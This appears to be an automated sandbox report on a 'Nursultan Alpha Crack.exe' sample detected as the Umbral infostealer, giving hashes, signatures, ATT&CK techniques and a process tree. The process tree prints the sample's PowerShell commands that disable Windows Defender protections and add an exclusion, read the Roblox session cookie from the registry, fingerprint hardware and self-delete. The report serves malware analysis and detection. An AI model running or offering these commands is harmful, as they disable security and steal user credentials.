Analysis
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max time kernel
30s -
max time network
17s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15-11-2024 13:50
Behavioral task
behavioral1
Sample
Nursultan Alpha Crack.exe
Resource
win7-20240903-en
General
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Target
Nursultan Alpha Crack.exe
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Size
494KB
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MD5
e6884786b4fca76e3752225aa2f24abb
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SHA1
a089d0818839ee52bcd0d8156fba1470c2f9ba3c
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SHA256
fd0bdd761b727b568e5d9d572aabff62177c4208ce2d1b281d278379b856bf5a
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SHA512
e41ea86252a735f8a03625ba79b65a3a790663a03d66f7f4c36ab8a94244944bcf75c6389e448ce962f523120dc8cb2787c2766f12e7e6667276a038209395e6
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SSDEEP
12288:doZItlRk83MllBazCg/7IsR0STTKI7AY/rXi7Q:r5r3kazCg/7IsR0STTKI/rXiU
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/464-1-0x000002B5728D0000-0x000002B572952000-memory.dmp family_umbral -
Umbral family
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2444 powershell.exe 4440 powershell.exe 4388 powershell.exe 3748 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Nursultan Alpha Crack.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1520 cmd.exe 456 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2724 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 456 PING.EXE -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2444 powershell.exe 2444 powershell.exe 3748 powershell.exe 3748 powershell.exe 4440 powershell.exe 4440 powershell.exe 3568 powershell.exe 3568 powershell.exe 4388 powershell.exe 4388 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 464 Nursultan Alpha Crack.exe Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 3748 powershell.exe Token: SeDebugPrivilege 4440 powershell.exe Token: SeDebugPrivilege 3568 powershell.exe Token: SeIncreaseQuotaPrivilege 1340 wmic.exe Token: SeSecurityPrivilege 1340 wmic.exe Token: SeTakeOwnershipPrivilege 1340 wmic.exe Token: SeLoadDriverPrivilege 1340 wmic.exe Token: SeSystemProfilePrivilege 1340 wmic.exe Token: SeSystemtimePrivilege 1340 wmic.exe Token: SeProfSingleProcessPrivilege 1340 wmic.exe Token: SeIncBasePriorityPrivilege 1340 wmic.exe Token: SeCreatePagefilePrivilege 1340 wmic.exe Token: SeBackupPrivilege 1340 wmic.exe Token: SeRestorePrivilege 1340 wmic.exe Token: SeShutdownPrivilege 1340 wmic.exe Token: SeDebugPrivilege 1340 wmic.exe Token: SeSystemEnvironmentPrivilege 1340 wmic.exe Token: SeRemoteShutdownPrivilege 1340 wmic.exe Token: SeUndockPrivilege 1340 wmic.exe Token: SeManageVolumePrivilege 1340 wmic.exe Token: 33 1340 wmic.exe Token: 34 1340 wmic.exe Token: 35 1340 wmic.exe Token: 36 1340 wmic.exe Token: SeIncreaseQuotaPrivilege 1340 wmic.exe Token: SeSecurityPrivilege 1340 wmic.exe Token: SeTakeOwnershipPrivilege 1340 wmic.exe Token: SeLoadDriverPrivilege 1340 wmic.exe Token: SeSystemProfilePrivilege 1340 wmic.exe Token: SeSystemtimePrivilege 1340 wmic.exe Token: SeProfSingleProcessPrivilege 1340 wmic.exe Token: SeIncBasePriorityPrivilege 1340 wmic.exe Token: SeCreatePagefilePrivilege 1340 wmic.exe Token: SeBackupPrivilege 1340 wmic.exe Token: SeRestorePrivilege 1340 wmic.exe Token: SeShutdownPrivilege 1340 wmic.exe Token: SeDebugPrivilege 1340 wmic.exe Token: SeSystemEnvironmentPrivilege 1340 wmic.exe Token: SeRemoteShutdownPrivilege 1340 wmic.exe Token: SeUndockPrivilege 1340 wmic.exe Token: SeManageVolumePrivilege 1340 wmic.exe Token: 33 1340 wmic.exe Token: 34 1340 wmic.exe Token: 35 1340 wmic.exe Token: 36 1340 wmic.exe Token: SeIncreaseQuotaPrivilege 4384 wmic.exe Token: SeSecurityPrivilege 4384 wmic.exe Token: SeTakeOwnershipPrivilege 4384 wmic.exe Token: SeLoadDriverPrivilege 4384 wmic.exe Token: SeSystemProfilePrivilege 4384 wmic.exe Token: SeSystemtimePrivilege 4384 wmic.exe Token: SeProfSingleProcessPrivilege 4384 wmic.exe Token: SeIncBasePriorityPrivilege 4384 wmic.exe Token: SeCreatePagefilePrivilege 4384 wmic.exe Token: SeBackupPrivilege 4384 wmic.exe Token: SeRestorePrivilege 4384 wmic.exe Token: SeShutdownPrivilege 4384 wmic.exe Token: SeDebugPrivilege 4384 wmic.exe Token: SeSystemEnvironmentPrivilege 4384 wmic.exe Token: SeRemoteShutdownPrivilege 4384 wmic.exe Token: SeUndockPrivilege 4384 wmic.exe Token: SeManageVolumePrivilege 4384 wmic.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 464 wrote to memory of 3044 464 Nursultan Alpha Crack.exe 83 PID 464 wrote to memory of 3044 464 Nursultan Alpha Crack.exe 83 PID 464 wrote to memory of 2444 464 Nursultan Alpha Crack.exe 86 PID 464 wrote to memory of 2444 464 Nursultan Alpha Crack.exe 86 PID 464 wrote to memory of 3748 464 Nursultan Alpha Crack.exe 89 PID 464 wrote to memory of 3748 464 Nursultan Alpha Crack.exe 89 PID 464 wrote to memory of 4440 464 Nursultan Alpha Crack.exe 92 PID 464 wrote to memory of 4440 464 Nursultan Alpha Crack.exe 92 PID 464 wrote to memory of 3568 464 Nursultan Alpha Crack.exe 94 PID 464 wrote to memory of 3568 464 Nursultan Alpha Crack.exe 94 PID 464 wrote to memory of 1340 464 Nursultan Alpha Crack.exe 96 PID 464 wrote to memory of 1340 464 Nursultan Alpha Crack.exe 96 PID 464 wrote to memory of 4384 464 Nursultan Alpha Crack.exe 99 PID 464 wrote to memory of 4384 464 Nursultan Alpha Crack.exe 99 PID 464 wrote to memory of 1256 464 Nursultan Alpha Crack.exe 101 PID 464 wrote to memory of 1256 464 Nursultan Alpha Crack.exe 101 PID 464 wrote to memory of 4388 464 Nursultan Alpha Crack.exe 103 PID 464 wrote to memory of 4388 464 Nursultan Alpha Crack.exe 103 PID 464 wrote to memory of 2724 464 Nursultan Alpha Crack.exe 105 PID 464 wrote to memory of 2724 464 Nursultan Alpha Crack.exe 105 PID 464 wrote to memory of 1520 464 Nursultan Alpha Crack.exe 110 PID 464 wrote to memory of 1520 464 Nursultan Alpha Crack.exe 110 PID 1520 wrote to memory of 456 1520 cmd.exe 112 PID 1520 wrote to memory of 456 1520 cmd.exe 112 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3044 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha Crack.exe"C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha Crack.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha Crack.exe"2⤵
- Views/modifies file attributes
PID:3044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha Crack.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3568
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1340
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4384
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1256
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4388
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2724
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha Crack.exe" && pause2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:456
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD5966914e2e771de7a4a57a95b6ecfa8a9
SHA17a32282fd51dd032967ed4d9a40cc57e265aeff2
SHA25698d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba
SHA512dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD55138b108879c9bb772d8a0b03c0bc24b
SHA133bbfa8f5fc8c101f88c130f2f4791b054a626be
SHA256f2c7b413c37d6d722c9e1db824f97f2859b4f0c095674f9da9e014646f179634
SHA512f55872b42563a158479eef6b29360cdcfdf14ebcf923c54362483da7308d5bd4b661d2fdc79e372a9c5823fb1374c002afc4971f917ae68a23d317c2a7b3b370
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82